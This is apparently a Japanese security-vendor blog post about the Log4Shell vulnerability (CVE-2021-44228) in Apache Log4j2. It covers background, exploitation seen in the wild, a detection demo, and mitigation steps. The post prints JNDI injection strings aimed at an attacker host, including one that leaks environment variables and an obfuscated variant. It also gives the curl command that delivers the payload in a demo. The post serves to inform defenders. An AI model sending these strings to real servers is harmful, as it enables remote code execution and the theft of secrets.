エグゼクティブサマリー
- CVE-2021-44228は、JavaベースのロギングツールであるApache Log4j2の新しい重大なリモートコード実行の脆弱性です。
- エクスプロイトのプルーフオブコンセプトコードが広く利用できるようになっています。また、インターネット全体のスキャンで積極的に悪用がされていることが示唆されています。
- 本ブログを執筆している時点では、エクスプロイトの試みはコモディティクリプトマイナーのペイロードにつながっています。 SentinelOneでは、ランサムウェアや国家主導型の攻撃者など、さまざまな攻撃者により日和見的な攻撃が広がっていくと予想しています。
- 多くのWebアプリでLog4j2が使用されているため、世界中の主要なサービスとアプリケーションがこの脆弱性の影響を受けます。
- エクスプロイトが容易であり急速に広がってきているため、影響を受けるサービスを最新バージョンのLog4j2にアップグレードすることをSentinelOneではお勧めしています。
- SentinelLabs では、脆弱性のあるlog4jインスタンスの検知とパッチ適用をサポートするために、静的スキャナーと動的スキャナーを含むツールとスクリプトをリリースしています。
SentinelOneのインフラストラクチャ、アプリケーション、製品、サービスには、このエクスプロイトに対する脆弱性がありません。 SentinelOneの情報テクノロジー、インフラストラクチャ、セキュリティ、クラウドの各チームは、情報セキュリティのポリシーと手順に従って包括的な評価を実施しています。
背景
セキュリティコミュニティが、2021年12月9日に、Apache Log4j 2の脆弱性に対して積極的なエクスプロイトが行われていることに気づきました。この脆弱性は、「Log4Shell」とも呼ばれ、エクスプロイトが簡単で、不正な ${jndi:ldap://attacker.com/file}
の形式のJava Naming and Directory Interface(JNDI)で構成されています。(その他の亜種については。以下に記載しています。)
Log4j2は、Struts、Solr、FlinkなどのApache製品から、ElasticSearch、Logstash、Kafkaなどのセキュリティ製品、さらにはMinecraftサーバーまで、さまざまな製品やサービスで使用されているため、どの程度の影響が生じるか評価をすることが困難です。
明示的に使用されているLog4j 2をバージョン2.16.0-rc2以降に更新し、暗黙的にそれに依存する可能性のある他のサービスを防御側が精査することをお勧めします。
NVDの脆弱性公開情報(英語)に記載されている通り、 JNDI機能は、LDAP、DNS、RMIリクエストなど、攻撃者が制御するエンドポイントへのリクエストに対する保護ができません。 リクエストにより攻撃者がエンドポイントをポーリングしてファイルを探し、そのファイルによりLog4j2サービス上でリクエストが実行されます。
例:
${jndi:ldap://<malicious infrastructure>/<payload>} ${jndi:dns://<malicious infrastructure>/<payload>} ${jndi:ldap://${env:<user>}.<malicious infrastructure>/<payload>}
悪意あるリクエストのその他の亜種は、公開情報(英語) となっており、以下のように、 ${lower:<letter>}
で関数をネストすることで難読化がされています。
${jndi:${lower:l}${lower:d}ap://<malicious infrastructure>/<payload>}
Log4j をエクスプロイトする方法
本ブログの執筆時点(2021年12月10日)で、ペイロードには、GolangベースのKinsing ELFペイロードなどのクリプトマイナーが含まれています、しかし、このエクスプロイトの機会を活用するために、攻撃者がインフラストラクチャとツールを強化してエクスプロイトを行う可能性は排除できません。
これまでに観察された実際のエクスプロイトの試みは、コモディティクリプトマイナーペイロード、もしくはその他の既知のコモディティエクスプロイト後の手法につながっています。SentinelOneでは、ランサムウェアや国家主導型の攻撃者など、さまざまな攻撃者によってさらに日和見的な悪用が行われることを予想しています。
SingularityXDRプラットフォームでカバーされている潜在的な攻撃ベクトルには、Cobalt Strike、Empyre、Metasploitだけでなく、MimikatzやBloodhoundなどのエクスプロイトツール、ランサムウェア攻撃、クリプトマイナーアクティビティpostの使用など、さまざまなエクスプロイトのフレームワークが含まれています。
SentinelOne vs Log4j エクスプロイト – WindowsとLinux環境の防御
次のWindowsのデモでは、エクスプロイト後のペイロードとして、攻撃手段になっている悪意のあるPowerShellスクリプトが使用されている一般公開のPOCを使用しています。
このデモで使用されているPOCは、GitHubリポジトリで入手したものです。 このコードを使用して、ターゲットのエンドポイントでさまざまなコードを生成することが可能です。 今回は、悪意のあるPowerShellスクリプト(.batを介して起動)を利用しています。一般公開されているtangxiaofeng7のPOCコードを利用して、「悪意のある」LDAP環境をステージングし、適切なクライアントクエリ/トラフィックにレスポンスさせています。
このエクスプロイトは、CURL curl 192.168.xxx.xxx:8080 -H’X-Api-Version:$ {jndi:ldap://192.168.xxx.xxx:1389 / STRING} ‘を介してターゲットホストに配信されています。 CURL urlにネストされている場合は、ターゲットホストが攻撃サーバーにアクセスし、攻撃者のステージングされたコードが実行されます(このデモの場合は、explorer.exe c:temprun.batを使用しています)。
ミッションクリティカルなデータとオペレーションは、多くの場合Linuxディストリビューションを利用しています。 Linux環境の防御は、エンタープライズセキュリティにとって不可欠なものです。日本語版のビデオで、敢えて検知のみのモードで実際に攻撃されてしまった場合の脅威インテリジェンスと修復がどれほど容易になるかと、通常の設定である保護モードで脅威が攻撃が停止され駆除されるかご覧ください。攻撃者のシェル画面と攻撃対象のエンドポイントで起きていることを管理コンソールでどのようにモニタリングできるのかデモンストレーションしています。
もちろんWindowsでも攻撃が検知されて環境が防御されます。日本語版のビデオで、保護モードに設定した時に、攻撃者のシェル画面と攻撃対象のエンドポイントで起きていることを管理コンソールでどのようにモニタリングできるのかご覧ください。
これまでのところ、実際に発見されたエクスプロイトの試みは、コモディティクリプトマイナーペイロード、もしくはその他の既知のコモディティエクスプロイト後の手法につながっています。 SentinelOneは、ランサムウェアや国家主導型の攻撃者をなどの、さまざまな攻撃者によって、さらなる日和見的な悪用が広がっていくことを予想しています。 Singularity XDRプラットフォームでカバーされる潜在的な攻撃ベクトルには、Cobaltstrike、Empire、Metasploitなどのさまざまなエクスプロイト後のフレームワーク、MimikatzやBloodhoundなどのエクスプロイト後のツールの使用、ランサムウェア攻撃やクリプトマイナーアクティビティが含まれています。
SentinelOneは引き続き状況を積極的にモニタリングし、業界パートナーと協力して、お客様とすべてのインターネットユーザー全体の防御を改善していく所存です。
軽減策のガイダンス
- log4jを最新バージョン、具体的には2.16.0以降にアップグレードして、メッセージルックアップを排除します。 注:2.15.xは、軽減の目的にはもはや適切ではありません。
- Apacheのガイダンス(英語)によると、リリース> = 2.10では、システムプロパティの
log4j2.formatMsgNoLookups
または、環境変数のLOG4J_FORMAT_MSG_NO_LOOKUPS
のいずれかをtrueに設定することで、この影響が軽減できます。 2.0-beta9から2.10.0へのリリースの場合の軽減策はクラスパスからJndiLookupクラスを削除することです:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- SentinelOne CompleteとEDRのお客様は、こちら(英語)から詳細な可視性のクエリをご覧いただけます。
- SentinelOne Singularity Control と Completeでは完全に利用可能です:すべてのアプリケーションとエンドポイントでCVEを検索するほ方方法(英語)